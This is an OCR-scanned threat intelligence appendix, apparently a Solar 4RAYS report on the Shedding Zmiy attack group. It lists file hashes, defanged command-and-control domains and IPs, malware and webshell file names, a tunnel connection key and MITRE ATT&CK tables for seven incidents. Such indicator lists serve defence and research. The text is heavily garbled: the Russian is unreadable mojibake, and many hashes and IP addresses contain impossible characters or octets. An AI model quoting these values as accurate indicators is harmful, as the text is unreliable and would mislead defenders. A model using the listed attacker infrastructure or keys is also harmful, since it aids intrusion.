5c6e5aalec21fcaab792b82abab401fe
4abcb455f98381f901bd6el3d3716alef
28f0be8918d0db39187d523e2f771445
81093¢c3bf3cab623174866612c696f1b7
b9f9d586d8a26b03c22773e10bcl4d41l
7d626¢c1bb19def4369386ee06aa08f76
692b9d33761735931214664afedeb7bb
fa31f5578b5d51c3354ee56d72d564b8
3cb55f1428812b62f72e26d0b8cd45a7
13450db3e912b75dd84063dab5cdde65



89d25c215b4d7ce3d1lcb3cc9d538a0bf
98809d8d0735a5a01598094387ef1c33
ada86dc2af3376f77c99dfcedfa88ed7
6b88b2443cb4bd6aed66931a395873cf

SHA1

ca915b1de20306a91578ba38073d1657chb442697
eb41f7d94f6b63103704b0cac527eb30f3717b24
e3b6eaB8c46fa831lcec6f235a5cf48b38ad4ae8d69
525d8cf449b5ac70689bfdd7103e7f49c5422aa8
1260fa5c7696bf0206019e9bfeddcchbe8c87e36b
a9419939bb449a3d91edfOb25b6197461d3903ea
fda2650ef2f697671d0b787a0f75fbd56564593¢
ed4eaf2495b89e563fcdcbe37eaeea3cad3789af
45a671f1650a3cf8cbecd96f083bb0a3d584bcdb
484fe9be0f1635586a25f281066198a3219ec888
7772d7b4a94583559efdb0166f0ed08a758aed38
4024adeb307090172c1fbOb4bcbd6265257ac935
68a2f40f7ffecl9155ec6f57fac444eel8509718
2387bf6c7107ca2ff3829b7eeb6b916dccf30fbbb
71a8ac941lalaal4ab6f6668ae5aa5057e63590467
70665fdb644b98120f211da33b3ab46abaed9a05
8d99ccaa3cfc9cd78fcc792f48a622b70b1332d0
3ebdb906fcc9f52858dd126569c7fc45e€921482a
6337a05e2e7e0adbflc2cOb3b2ec8af823db26d8
cle431010b22f659f05a6d201a85e215ffd2b830
€10054105229894c6e9ddeb78d0093d6b8488ca8
5218f825bb5a812708082a45e5783d98cc8e7e8d
435f5ff67ac324c1487c10cc76dcdl2eb7dc9915
7e6d3ca512d5b43c603e7caad780c9a85b9chf8a
cfcflaa96094f3ae887dcl7f5255d1c9b3cab91d
23873bf2670cf64c2440058130548d4e4da412dd
284d40clef60213dd84d225af231875e4121f252
983ef4cbf1275918021291d836cd4a03d938af7b
cfced9e0dd01e8fb125b58ddbaf6328f090b37db
8531c8d8716e02adebbcc921d0cdOcOelc30ledl
ed6970fe788056e7651e7cc427b6056de031dd64
63c800332416c858ffc7ce2e97cbde5dflala7’0c
052d62da7la71lc2ceb5a5cadfbec02649c9117c43
0920fd89fd4277b918e337e52ecf751606341815
409209b69ccc95a79ee1848bc5df8834b01b9%aed



3a5dc97a27a31f7077d6¢c6551269f76321307162
e7756eaf52ef16640742810581059cb54b04c6a8
a8lfla2efa4a8898c1694b3a3a4699e9ch87347e
73dae2c0f466bdfc54c15f83a50d168943240152
538cce6325be621533894b77d1ledcb9ae2alcadd
8337elb0abcclb195d69adeOf7edadf8fb418cda
630bab1432c0224c111cf81686d284d81ce35b1f
36f05bc39cac762fc2afdle8444efb35f78dc97e
d90e2accadaf042fe8a76f428af6ca742224409d
2bc2b4eb37d91969f031deddac51ec0e25d9fcc?
583662360a3a3d400a6af62032800dae738555f7
f4f1895bce5194e26b1a8f8dc02400f8aebclald
4043cecdee4fdd82b950ad5716d39fcc3a953433
331f9d94a7al16d3aad6288537c9dad7ccl2d9feb
3d974allcOff2dffclca9aab89f32b3al779e23b
224319900ec981e8fa9415b34f77f81680fbba8e
21d7f8f1lce77f98b284389e31leeldfe25b3cc685
69652d5093244fab15da45e07c00d0815392f070
8c94bc199197d6e81c389521935df8ba7bdab26a
f4ec1lb9b797324b73ba2deab018c9fcfcO05b1018
c848109d1f7bad5af0ada073d266ed0ac6f2c461
f07ad7d735aa0d6aae732112c8ce81e305253dc9
a3c94db7f2ed462485ee9ee97fec4d3c28d8dado
3ea5a7fa881c%9a456f601a89dcd4981149625f5f
0a7a743ee8f505febb7cfebb11f81c6091625627
da7382e4ff26c63980d5370d47b91c6c06e96753
482388f4daeld4aba7527fd8ebed5cf4cfb6bb5621
€4103495ca9895e9bd3f8aec2ffad7d78295848c¢
10b4c643853e078c2d1a08dd6aa2308c3e381fd3
47a9107e9568a9faef8937cc2debf4da727e74ee
5d3a44d18ca476blceb18ad20063bcfalfcOc3bd
762307a5d6abe0cOOb7e759967b173723¢c141977
€29e0ea89126db232db75890381e286e375547d9
852e6dbdc86c360b1024f59a7f3d5100c5e88fcd
e3cd102fe@666abbfbcl134a494d70c9a803d09c2
9dfl3daecf5e3f3e9ade27eb3e0f0220630aab8a
e8b569e1799811fd28da7e5b4554330adee3ab53
23f7b196babfd8449c139be416321318ed477497
80528a617c711a39d376a99bcbb1a8f7c6d11749
b9c0d81682418145c0c035be83cfb35608ee5eb6c¢
29d3692f30ff2eefealfabdfadb854d08c7c4a59



5a8ebl15cf6ccl964ab4el2b57ac18d0859716993

SHA256

671d7358c2b0d2b1f2697c05b6f17ae40762462ad960ab53613503e8a2148e78
77524078a808e85a28d071d1c751b94525154dd82295f647684efe6dal8e8be9
61c0810a23580cf492a6badf7654566108331e7a4134c968c2d6a05261b2d8al
809cled59f35c015690afbea731dd67e063d54c7687b99aca935ef6563ac48b2
38ffc5ae369bddd50587c7f9674db14655ae8a1c69b953443e55fe4ad79cbcb5
20286fed476e779cd1b78dd689486626ccd87484ee4b0328bc3540cef3ch356¢
eccbh60e564d0dd6cdd2ce9c5f89ab7d291bbad45e272ee851c4577ec5993a8efd
30cf51260f508eade7a568a7868b18d1ba7722b358a70d603e7972371852baba
c9aa57dab65c7eddOb79a37821c69eba7b3906259975b8alaa7919e0d3eb8a5b8
92834e€a8c712354029¢5938950b154b97151¢c173541e78f4b7236d3803c716de
d649055cc890b139e00eabe®b207df147fa2ec630c17fb2575047b2593b2885
6b4efabded5f18ce682a86alb22aeded4fa33974502e015832ch88990d01fe2f0
4e4c2bd257196ed535f72b08d5b4bfb43396956cedf4d02527ab700edbbclfef
71848698b4d3d6945d5e51d4d17f7c9e8875eel0dealbc91b701a9eb19f1f645
€6707ad67817e€e837952008411891704016bad4750c6cc5aled64949b2d49c5e3
9d21f10f4d797eb3a30elbc261e7d0fdd519f6319eb061492b86bffcaacld4ab2
7¢775341c7211c1lbd8ccbd8c38451a85ce0254f1e7540d5478abf3beOec1856f
1e57052848e2cd89136315817bcd6c92b5ef9bcb32809126545eb10bb5b4fc80
07e7ce324773077d571c026405790fe61209008017e71313a3713e9d9095fc4d
4128696e€717d991f59db41bf3f10c5e5da7c2b4c350ddcecf732a73ec93d7e5
b5e29bdb105ae0e76d75¢c3d3959954c4f6610cd39aaa8f3aa852dd624e662480
725ce6c922d81faaech499c6c8ec885a684238eba80chf291fbb5fa9bcc08cd2
28c17b45d4010f24a7b6c797552c212cle6ad7b77e75f2b726f8b8e29d6574ea
9132bb991d893f1al8c7675ea29023fa278a73285b5738ba%99h81815831c4d9e
78b0b3763f6bc9e5a894cf5fd51a55f17d2d58c8226d2fe2348fae7d3846363a
3c2fe308c0a563e06263bbacf793bbe9b2259d795fcc36b953793a7e499e7f71
615f660a4153bbf3f57f02f8081ff500ad204b1b673564e0da9598a6360c2d89
56797b5fe8750aac46f1e9d25ce42470a1ea920159b4fb05ed509c948cd3clesd
7692f02bf392170b83360a298a5194250f8de2887da809f9b10669997bc6d583
077fa453937cc2413e22c7086fbecd53b25bde5b7144a072c9129c9a924ecf5a
d57033521844424d0649256f7d65dac2b843d84ab3fe75c642db7c5cee60032f
eb67f19555e05ca7c18ea8c1l0974b3e740caB804395¢c11e981d104519571a52¢ee
ce818adl0e625fal2f5d8ad4ad78bf73b8b445d996cclled17ef98878ec7666f
7t6e30b0246ccfeb0c0925¢7192235ddc99d46e0b07404a939b57e68819597¢el
b4320f83607fb0ed49d75bd8a867c52b672e24bb535¢c053¢c3fb401d6e45b2bd3b
30692be59256158195888f11cO0ff67807c3cd734448daf7b62832e4d02ffe869
b8ff94ealad2c8d8c9fa7581deefad23ded73de7ef3fbal23cdfa84b39581143
898252ae7eeab56cfbd7337efc3066ecf9fc3ac4211ddffdd386a95adcd659ct



46dfaB8948537057c2f5ae881582b83678eb18965155de24cb632cbb1a7298060
3adcfll9aaaa93ed795d6d5685bb891a4054f056723e72574c48a95a78ecal2?
14e5723d246fcf50a05cdfdbalbbbe30cad4acab65938c98fcaced6a8f5c886596
7283a99550bb7806fd416e773baa2c542149¢cch8d55e7e3d6f06d066681d7d06
fef8828f4a0174f146ee4de9bac9a2c085dcd1984c98b65e54ec5c0692187bf0
dlldef8ac9f3af92c4e67e72e3dadfb2ae36dcadf3466lee5c03ff3f7330655a
al2c3babae64af819f26bd82401dc9d65bc71fe3ba3889eeefc636atf39511288
2e2476242a182e334d28388ffa432cd7¢c79cc5fbcfd230de75cd3e5717088de5
390dd5ec458cc289b9498313d8b74d612c84407¢c2539h745950cfd9d59f608al
d47eb1f6a3a03e7240462141250c6df37173889639c34a46ce965513b6chb0ab3
723a1240e7042c87e3ca749335d9d525da566eccc0113cd5fech92e6cc2a4552
€c825d1321ad1d2f819¢83301c5ff1970192d45b017a53177507f5e7716bceb8
7a6¢c75d038d7a47f87a3694bb9718ble97a2b4aa8a%9acOfe24eeb0741fd043b5c
8df4252241140c36fc7e5042de7fcf3544572dfc8fdc04f054559efd32d6¢710
24de8edad6c83e5f713ed7e571b21100907ce7f6ddacl135530eab6dd45athb02b
c88c7ce0291165ce9144660a2236a49462b343414e97b75b3a85d1d43866dff1
81927b961b96b241bd7a32bab0b4590da3d9e2d55363112a209d8c01b51caad
cddeb483e170c5bb431037316bebfe2164fa826f1d3fb8fac453e4c1529b79f5
4ffbf25af296e84c57e5f650d41773e87b9cbd36bbd1390dac87160a82180899
93432222cbabe5057bafb6c386dfcl2fe7346e78235c1cb343a4326a1695516a
c13bb932b40eb92b2b1c9aa80de79dd225fab2c6eldel03a37449710483997ba
a2ef8584de3517d5940c28a9223cbc202896f06e0e9f562e142bbce4d1b556¢0
291d64dd385a59dd2ef8a3f2c681a626f4021d909c4e02082a66f8fc2369cbf6
c3fb2408050ac87432cfab1f57c270329baa838fdb4c7495d00590d60a856d3f
123d3f3c3412cb232a39abd2d4eb9c669fb7e0a2ffable20b7alfc47e64178e3
48d9f0ba572f5c45ff8e918648d214a673c66c4607b3bced7ab36bff4bb2c6f4
21337aee6e185df275366704566e750210c0b60564583b3f61d71befedfOcO8c
alb0Ob5d298bf3d73e6bd275ac16aeb89f70c7da5186bc5951¢c148d20e71ff297
10b1f47d2edcebdbebcb5abl182deaae8cbbe380e9972983023¢f8953d1e91a8c
8a9b44ebc0387b0abc3e7e00dcd928613d4179e92df988bff7d86aab926599d0
3621c559¢c59279d6adfel53a078779ac4f096ee277771d5e812706fa64d67e18
3d18d9e9351a45376¢c3b0183299906464d07aaf2c86272b80608e66787a82779
58302c780f37c0ef449a45bade8607ac6d6036e8e2f2a54540ed345f324cecl9
Cc7e18eal4704d88398cf31f834e89ef59743f04b92ad74a7b882calldb228899
e7180084419ceac2d4015436efb652de72f0f459a4e2df12751f6d49ef6699ad
35545711eaffcc5ec42c94d85d4cb2fe4b8b856d9d386e11badf9d79df93f5b0
bd3446338f46145955d0249dabc4ec3b8a0217b2ace90f1622f17785564ea60d
3860aeb66dabac741lecf22ff68b8210319d65501212140229¢5070d05538cb60
6c04dcaed7be5e371afd4e7e92d74aa5e4411be7ef27b37eeldbclb5e77da2140
472300d537fe334bd3a5443d258efacaf1l8fab0ba500f03a68917b9f7353bbc3
7853869e858cafelcbebf7f2cb9cbf1d5438cl0a8ca2lcbfa237d05a552b4ba5s



4dcdB87a26cfa86aa7flaac9fe911f8fecl30a9b4b67213901cd6aadb394df10c
adff2afaelaeb33de701509d8c00e462c8eab98fca35523ac96c0b9227c64712

Domains
Kewc #1

avptp[.]com
wsdjcvfv[.]com

Kewc #2

Obitcoins[.]com
onexboxlive[.]com

Kenc #3
backconnect[.]org
Kenc #5

netstaticpoints[.]com
techcname[ . ]com

Kenc #7

get.upd-rkn[.]net
mtp.upd-rkn[.]net
ris.upd-rkn[.]net
bot.upd-rkn[.]net
pkg.collect.net[.]in
lib.rpm-bin[.]link
chifa.rpm-bin[.]link
eu-debian[.]com
stoloto[.]ai

IPs

Kewnc #1
185[.1147[.181[.]74
Kenc #2
88.218.61[.]97

Kenc #3



130.193.55[.]216
95.143.191[.]245

Kewc #4

94.103.84[.]1207
195.2.76[.]120
45.82.33[.]1248
5.8.16[.]1149

Kewc #5

45.11.181[.]1152
172.67.190[.]233
104.21.84[.]96
88.218.62[.179

Kenc #6

88.218.62[.179
91.142.73[.]1205
88.218.60[.]189
194.61.120[.]146

Kenc #7

178.250.245[.]13
45.67.230[.]1198
194.226.49[.]147
188.127.242[.1204
5.45.85[.]1176
80.66.64[.]181
104.21.76[.]6
172.67.184[.]201
103.45.245[.]85
5.8.16[.]1166
178.176.79[.]132
195.14.123[.]45
64.226.104[.]111
146.190.23[.]86

Tl Research

185.82.200[.]1167 (March - June 2023)
194.61.120[.]146 (June - December 2023)



185.141.24[.]1194 (September - December 2023)
194.182.191[.]65 (December 2023)
113.203.221[.]120
113.203.221[.]22
113.203.221[.14
113.203.221[.]6
139.99.68[.]157
145.239.5[.]130
147.135.11[.]1223
147.135.36[.]162
162.247.74[.1202
166.70.207[.]2
178.20.55[.]16
185.129.62[.]62
185.220.101[.]1139
185.220.101[.]1142
192.42.116[.]113
192.42.116[.127
193.201.83[.]11
209.141.59[.]1116
5.181.234[.]158
80.67.172[.]1162
86.105.25[.]218
89.234.157[.]254

NMpunoxeHue 1: TaimnavH UHLUUAEHTOB

Mbl BU3yanusupoBanu Hambonee 3HauMMble MHCTPYMEHTbI, TEXHWUKKU, 0O bEKTbI CETEBON MHPPACTPYKTYpPbI
Shedding Zmiy, o KOTOPbLIM BBICTPOUIIM NEPECEYEHNA MEXAY MHLMAEHTAMMU B paccnenoBaHHOM Lenoyke
aTak, MoMeTuB coBnaaeHUA 04AMHaKOBbIMU LiBETAMM.



—— SystemBC
—— Coblnt

natrepH Intel s Haimunre BNO

v nyreii:
C:\Eogramdata\lnhellHTD\
IntellHTD[1).vbs;
C:\Pro?ramda(a\lntellHTD\
IntelHTD[1).ps1

Munmmkpin BNO

NOA CUCTEMHbIE NPOLECCsE:
C:/Temp/svchost.exe
C:/Temp/Isass.exe

SystemBC

195.276[.]120 Sliver

XocTunr
VDSina

FaceFish
[ust/lib64/libs.so

Coblint

dli-sideloading with DISM.exe

narTepH Intel B HaimuHre BMNO

w nyTeit:
C:\intel\dism.exe
C:\Intel\Log\dism.exe

c:\ProgramData\Intell\
Intellpui.psl

88.218.62(179

XocTuHr
VDSina

chisel

‘@ 88.218.62(]79 W

XocTuHr
VDSina

[
defaultConnectionKey:

MHmfjMsydIPAIsXSAMrFIxcHZ
gKZpMZkZ20iX3zEBXQ

dll-sideloading with DISM.exe

XocTuHr
VDSina

——{ XDHijack

MM

Shedding

miy
Attack

XocTuHr
VDSina

natrepH Intel 8 HaiimuHre
— nyreit
C:\Intel\Dism.exe

— dll-sideloading with DISM.exe

XDHijack

— Coblint

M1cbmo HanpaeneHo
CXOMNPOMETUPOBAHHOM

8 xeiice 6 oT nernTUMHOR
CXOMNPOMETHPOBAHHOM Y3

NMpunoxeHue 2: PacwumpeHHana uHdopmayua no daunosbiMm IOCs

C NOMTOBOIO CEpPBEpa KOMNaHUM,

mimmnkpus BMO nog cucremune
npoueccel:
C:\Windows\Temp\svchost.exe
Ci\svchost.exe

dll-sideloading with DISM.exe

o
——ﬂssocks% 94.103.84()207 - XocTAmr

VDSina
[

J
defaultConnectionKey:
MHmfjMsydIPAIsXSAMrFixcH
ZgKZpMZkZ20iX3zEBXQ

|— Sliver — 195276(J120 | XpeTumr
|— chisel —94.103.841)207 | XosTAHr

FaceFish
[usr/lib64/libs.so
EstNOC OY (Proton VPN) J

EstNOC OY
(Proton VPN)

Mbi cBaszanu IOCs ¢ KOHKPETHbIMK Kelcam, NO3TOMY, 3HaA TakMnanH MHUMAEHTOB, Bbl CMOXETE
onpeaenuTb akTyasibHOCTb UX MPUMEHEHMUA.

Kewnc 1

Uma dpanna

MD5

SHA1

IntellHTD.ps1 6e78c9b597e2b12cc349c72d44a61a36 ca915b1de20306a91578ba38073d1657

IntellHTD.vbs b06ded77875fce14892522f16c099e29 eb41f7d94f6b63103704b0cac527eb30f:

Desktop/mimikatz.exe  29efd64dd3c7fe1e2b022b7ad73a1ba5 e3b6ea8c46fa831cec6f235a5¢f48b38a4


https://undefined/upload/cssinliner_webp/medialibrary/5b2/bg71z3crwkl75dvr4i5crgqw5y8x4r2u/5_3_2x.webp
https://undefined/upload/cssinliner_webp/medialibrary/5b2/bg71z3crwkl75dvr4i5crgqw5y8x4r2u/5_3_2x.webp

socks.exe, svchost.exe

socks2.exe, Isass.exe

socks32.dll

socks64.dll

gY6t4.aspx

shit.aspx,
SysFeedback.aspx

shit3.aspx

8109da0a109b05905e427b6e8eef6cdc 525d8cf449b5ac70689bfdd7103e7149ch

02c08342728d58d5d392457ba41f06cb 1260fa5¢c7696bf0206019e9bfed0ccbe8c

6ef77ad40f5ef04d497527d1b0a0c04d a9419939bb449a3d91edf0b25b6f97461

alecf5f5bc5d22e9e57¢c3f14c495097¢c  fda2650ef2{697671d0b787a0f75fbd565¢

3c93a4e4d52a07b57bf0b4095a3c9fbb ed4eaf2495b89e563fcdcbe37eaeealcal

1aaacc88008342ba5e9d63e87667¢c149 45a671f1650a3cf8cbecd96f083bb0a3ds

6972b5f2ea828a80bcabt3aac2e82e325 484fe9be0f1635586a25f281066f98a321

SamsungNotification.exe 16695c4db4b4a658610f0849583b32ef 7772d7b4a94583559efdb0166f0ed08a7

SamsungNotification.ps1 00b235923dd3663c63ac5695e6caf2dd 4024adeb307090172¢c1fb0b4bcbd62652

SamsungNotification.vbs 8da434f7520355006¢32893d2d3850c0 68a2f40f7ffec19155ec6f57fac444ee185(

SamsungNotification.txt f550e08465936bf57ff4fc342852c91c  2387bf6¢c7107ca2ff3829b7eeb6b916dccf!

2022-625711.docx

Mpukas NO21 ot
29-03-2022.docx

t.php.dotm

ebfaaebafb778b6bea238ade245d1ab6 71a8ac941alaaldabf6668ae5aa5057¢et

3cb5511428812b62f72e26d0b8cd45a7 9df13daecf5e3i3e9ade27eb3e0f022063

98809d8d0735a5a01598094387ef1c33 80528a617c711a39d376a99bcbb1a8f7c



1648552904302.exe

13450db3e912b75dd84063dab5cdde65 e8b569e1799811fd28da7e5b4554330ac

https_session_sliver.bin 89d25c215b4d7ce3d1cb3cc9d538a0bf 23f7b196babfd8449¢139be416321318e:

Kewnc 2

Uma danna

0607_[redacted].rar

0607_[redacted].vbs
GfxCPLBatch.vbs

rNIQSC.au3

pdfdrt.ps1

pdfdrt.vbs

darkgate.bin

win10_11_2022x64.exe

wermgr.exe

Kenc 3

Xaw-cymma MD5 Xaw-cymma SHA1

e3d36ab8622f7315d46c49414c4efed3 70665fdb644b98120f211da33b3ab46aba

9081b43f719355d4376c414d457c715¢c 8d99ccaalcifc9cd78fcc792f48a622b70b1:

a959bd9c92e6274ee618a9613c78fd18 3ebdb906fccIf52858dd126569¢7fc45e92

ada86dc2af3376177c99dfce0fa88ed7 b9c0d816824{8145c0c035be83cfb35608¢

6b88b2443cb4bd6aed66931a395873cf a9d3692f30ff2eeOealfabdfa4b854d08c7c

e73efad2ffad870094a963bfc1cb3aaa 5a8ebi15cfécc1964abdel12b57ac18d0859

52¢89092568e8df1db254e80f914859a c1e431010b22659f05a6d201a85e215ffd.



UmA

baiina Xaw-cymma MD5 Xaw-cymma SHA1

libs.so  2c46d1a9d18dfaa79265eb448220f246 e10054f05229894c6e9ddeb78d0093d6b8488ca8 b5e29

socks.out 806369a8169652e10fd0fb5f60beflel 5218f825bb5a812708082a45e5783d98cc8e7e8d 725ce!

socks5.sh 28fd90deab4a121c0c31e24t526d1995 43515ff67ac324c1487¢c10cc76dcd12eb7dc9915  28c17I

h -
icsevSnts 28f0be8918d0db39187d523e2f77f445 47a9107e9568a9faef8937cc2debf4da727e74ee 362fcE
h -
iZVSnts 4abcb455f9838f901bd6e13d3716alef 10b4c643853e078c2d1a08dd6aa2308c3e381fd3 8a9b4
Keic 4
Uma dpaunna Xaw-cymma MD5 Xaw-cymma SHA1
chi.exe 8e9a22b02b861c4277c9a9f5e735b445 7e6d3ca512d5b43c603e7caa0780c9a85b9cbf8a 9

nightmare.dll db07a0fbb9ffc1d282159752437260ac cfcf1aa9609413ae887dc1715255d1c9b3cab91d 7

WoGjAfEc.exe 6983f7001de10f4d19fc2d794c3eb534 23873bf2670cf64c2440058130548d4e4dad12dd 3

svchost.exe 66aca695bb71ef312ebd46a053edf5b8 284d40c1ef60213dd84d225af231875e4f21f252 6

svchost.exe  e14a5f2039faa75866588d3c035¢183c 983ef4cbf1275918021291d836cd4a03d938af7b 5



dismcore.dll  00a21f938b1e603c14f0e669850afdaf cfced9e0dd01e8fb125b58ddbaf6328f090b37db 7!

rsetlogd

sshd-
watchtower

ae271ec982¢35683b7d5edefa83a7f35 853fc8d8716e02adebbcc921d0cd0cO0e1c301ed1 O

netscan.exe e9f5865cceed38f3cc78eaf7922dc767 ed6970fe788056e7651e7cc427b6056de031dd64 d!

viib.dll 09c91674d45ccf9066174cf3a911770a 63c800332416¢858ffc7ce2e97cbdebdi1ala70c el

Kenc 5

Uma Ppanna

CornacoBaHue cueHapwms.rar

CueHapun.rar

Document_Microsoft Word.Ink

Document_Microsoft Word.Ink

hutpjsav.bat

yoedfeyeoid.bat

004.ps1, Intellpui.ps1,
XboxGamingQOverlay.ps1

XboxGamingOverlay.ps1

Intellpui.vbs

MD5 SHA1

8773ce3c1e4000f6db41a7bf0da625ad 052d62da71a71c2ce5abcadi

1c2c01c22712e0ed3444b5aae5chdfac 0920fd89fd4277b918e337¢e5.

375a82ae45a8041fc02a648f19154501 409209b69ccc95a79ee1848!

3de34143d90ad3d74ae2c82d91f5ca42 3a5dc97a27a31f7077d6¢c655

4a40da404e486ac0e676e651a25e8389 e7756eaf52ef166407428105

831c266619f229075fc3660e144de50b a81f1a2efa4a8898c1694b3a:

56665014a0e5b3d58b363e01e83b3f9f 73dae2c0f466bdfc54c15i83a

6eaf7f630e11a9f78cbe31d2022858df 538cce6325be62f533894b77

ce2cb6a4dd0a79a9e89b2c3195eeeb6727 8337e1b0abcc1b195d69adel



kasi.exe

bec.exe

kas.exe

kis.exe

new.exe

prt.exe

prt2.exe

Zapros_13-2-16442-

bfc4eef37ech583caac5a71918984af53 630bab1432c0224c111cf816

f84e409b4ca80e349a19fa7555177379 36f05bc39cac762fc2afd1e84

upr_ot_25 08 2023.zip

Zapros_13-2-16442-

0da63b385b2b6650dd6acf3b511e5ac8 d90e2accadaf042fe8a76f428

upr_ot_25 08 2023.Ink

Letsintell___.ps1, LetsIntell.ps1 d5dbce918c46e9f86a35be2893c9efb2  2bc2b4eb37d91969f031dedc

CamScanner_24.11.

DOCO009 2.rar

Kenc 6

Uma Ppanna

acronis.exe

dismcore.dll

dismperf.dll

2023_10.32.Ink 939cc38ef64a3e5148d889fa4423d464 583662360a3a3d400a6af62(

d3bb9583db450daa24f50afcea474ddc f4f1895bce5194e26b1a8f8dc

Xaw-cymma MD5 Xaw-cymma SHA1

1f2eb8ca3b04ab9e722708976bd08c5c 4043cecdee4fdd82b950ad5716d39fcc3a9534

cd76¢9652a6146200039481375d241e8 331f9d94a7a16d3aad6288537c9dad47cc12d9f

30049ea8ac7e3029f911c11ddbcd92dc 3d974a11c0ff2dffc1ca9aab89f32b3al779e23k



mfplat.dll 1256d62b4d15ca785766c4bc4f0e0a01 2243f9900ec981e8fa9415b34177{81680fbba8:

mer.exe - 21d7f8f1ce77f98b284389e31ee14fe25b3cc68
payload.dll 81093c3bf3cab623174866612c696f1b7 5d3ad44d18cad76bi1ceb18ad20063bcfalfcOc3|
webshell.dll b9f9d586d8a26b03c22773e10bc14d41 762307a5d6abe0c00b7e759967b173723¢c141

remotecmd.py 7d626¢c1bb19def4369386ee06aa08f76 e29e0ea89126db232db75890381e286e37554

sessionviewstate.py 692b9d33761735931214664afedeb7bb 852e6dbdc86c360b1024f59a713d5100c5e88fc

baseviewstate.py = fa31f5578b5d51c3354ee56d72d564b8 e3cd102fe0666abbfbc134a494d70c9a803d09

Kenc 7

Uma dpanna

gs-dbus

gs-dbus

bk

system.crond.service

Xaw-cymma MD5 Xaw-cy

5d91bf790426b93c112daa980fb2d4f8 69652d5093244fab15d

c5b1576a9a983f6bf551dc6df989462e  8c94bc199197d6e8fc3:

137301b417c09d0b5b2a9261f7bdecOc f4ec1b9b797324b73ba

1742b52bb41a3456bf30570726a60059 c848109d1f7badSaf0ac

63af958b05af414121fb7cc623a90671 f07ad7d735aa0d6aae7



libs.so 69dbab30f46a8ac9ced46af4420cfb4ca a3c94db7f2ed462485e

libs.so 91e4ee433cc834136b099a3chb738f809 3eaba7fa881c9a456f6(

plugin_2407556349790450753_atlplug.jar 3cf40a0458aae04e73e2a61ea82fbd19 0a7a743ee8f505febb7¢

k 7e8999958530f70264937a84e8b3beff da7382e4ff26c63980d:
crond 887b166e87809c313ace45667665d32e 482388f4daei14aba752
xIswifi 5c6ebaalec21fcaab6792b82abab401fe e4103495¢ca9895e9bd:

MpunoxeHue 3: MITRE

Kenc 1
TaxkTuKa TexHuKa
T1566.001 - Spearphishing Attachment
Initial Access
T1190 -Exploit Public-Facing Application
T1033 - System Owner/User Discovery
Discovery T1518.001 - Security Software Discovery

T1010 - Application Window Discovery



Execution

Persistence

Defense Evasion

T1046 - Network Service Discovery

T1016 - System Network Configuration Discovery

T1057 - Process Discovery

T1569.002 - Service Execution

T1059.003 - Windows Command Shell

T1059.001 - PowerShell

T1059.005 - Visual Basic

T1136.001 - Local Account

T1078.002 - Domain Accounts

T1543.003 - Windows Service

T1547.001 - Registry Run Keys / Startup Folder

T1505.003 - Web Shell

T1053.005 - Scheduled Task

T1036.005 - Match Legitimate Name or Location

T1562.001 - Disable or Modify Tools

T1140 - Deobfuscate/Decode Files or Information

T1620 - Reflective Code Loading



T1070.001 - Clear Windows Event Logs

T1112 - Modify Registry

T1003.005 - Cached Domain Credentials

T1555.005 - Password Managers

Credential Access

T1003.001- LSASS Memory

T1003.003 - OS Credential Dumping: NTDS

T1021.001 - Remote Desktop Protocol

T021.006 - Windows Remote Management

T1210 - Exploitation of Remote Services

Lateral Movement

T1550.002 - Pass the Hash

T1570 - Lateral Tool Transfer

T1021.002 - SMB/Windows Admin Shares

T1132.001 - Data Encoding: Standard Encoding

Command and Control

T1219 - Remote Access Software

T1560.001 - Archive via Utility

Collection

T1005 - Data from Local System

Exfiltration T1567.002 - Exfiltration to Cloud Storage

Kewc 2



TaKkTuUKa

Initial Access

Execution

Persistence

Defence Evasion

Discovery

TexHuKa

T1566.001 - Spearphishing Attachment

T1199 - Trusted Relationship

T1059.003 Windows Command Shell

T1059.001 - PowerShell

T1059.005 - Visual Basic

T1059.010 - AutoHotKey & AutolT

T1204.002 - Malicious File

T1078.002 - Domain Accounts

T1136.001 - Local Account

T1037.001 - Logon Script

T1547.001 - Registry Run Keys / Startup Folder

T1053 .005 Scheduled Task

T1070.004 - File Deletion

T1574.002 - DLL Side-Loading

T1140 - Deobfuscate/Decode Files or Information

T1082 - System Information Discovery



T1033 - System Owner/User Discovery

Lateral movement T1021.001 - Remote Desktop Protocol

T1219 - Remote Access Software

Command and Control

T1572 - Protocol Tunneling

Collection T1560.001 - Archive via Utility
Keic 3
TakTuKa TexHuKa
Initial Access T1190 - Exploit Public-Facing Application

T1059.004 - Unix Shell

Execution

T1059.006 - Python

T1574.006 - Dynamic Linker Hijacking
Persistence T1543.002 - Systemd Service

T1053.003 - Cron

T1070.004 - Indicator Removal: File Deletion
Defence Evasion
T1014 - Rootkit

T1090 - Proxy
Command and Control

T1573.001 - Symmetric Cryptography



Kewc 4

TaKkTUKa

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

T1573.002 - Asymmetric Cryptography

TexHUKa

T1199 - Trusted Relationship

T1059.004 - Unix Shell

T1059.001 - PowerShell

T1569.002 - System Services: Service Execution

T1078.002 - Domain Accounts

T1136.001 - Local Account

T1053.003 - Cron

T1543.003 Windows Service

T1068 - Exploitation for Privilege Escalation

T1112 - Modify Registry

T1574.002 - DLL Side-Loading

T1070.006 - Timestomp

T1070.002 - Clear Linux or Mac System Logs

T1036.004 - Masquerade Task or Service



T1036.005 - Match Legitimate Name or Location

T1070.006 - Timestomp

Credential Access T1558 - Steal or Forge Kerberos Tickets

T1018 - Remote System Discovery

T1615 - Group Policy Discovery

Discovery T1087.002 - Domain Account

T1482 - Domain Trust Discovery

T1046 - Network Service Discovery

T1021.001 - Remote Desktop Protocol

T1021.002 - SMB/Windows Admin Shares

Lateral movement

T1021.004 - SSH

T1021.006 - Windows Remote Management

Command and Control T1090.002 - External Proxy

Kenc 5

Matpuuy Mitre ansa aToro keica Ml NPUBOAWIM B HalleM uccneaoBaHun — (Ex)Cobalt B HoBom 0bnunybe:
nccrneaoBaHUe NocneaHen atakm U3BECTHOM rPyNNUPOBKH.

Keunc 6

TaKkTuUKa TexHuKa

Initial Access T1190 - Exploit Public-Facing Application


https://undefined/solar-4rays/blog/3954/
https://undefined/solar-4rays/blog/3954/
https://undefined/solar-4rays/blog/3954/
https://undefined/solar-4rays/blog/3954/
https://undefined/solar-4rays/blog/3954/
https://undefined/solar-4rays/blog/3954/

T1059.003 - Windows Command Shell

Execution T1059.001 - PowerShell

T1053.005 - Scheduled Task

T1078.002 - Domain Accounts

T1505.004 - [IS Components

Persistence

T1505.003 - Web Shell

T1053.005 - Scheduled Task

T1574.002 - DLL Side-Loading

Defense Evasion T1562.004 - Disable or Modify System Firewall

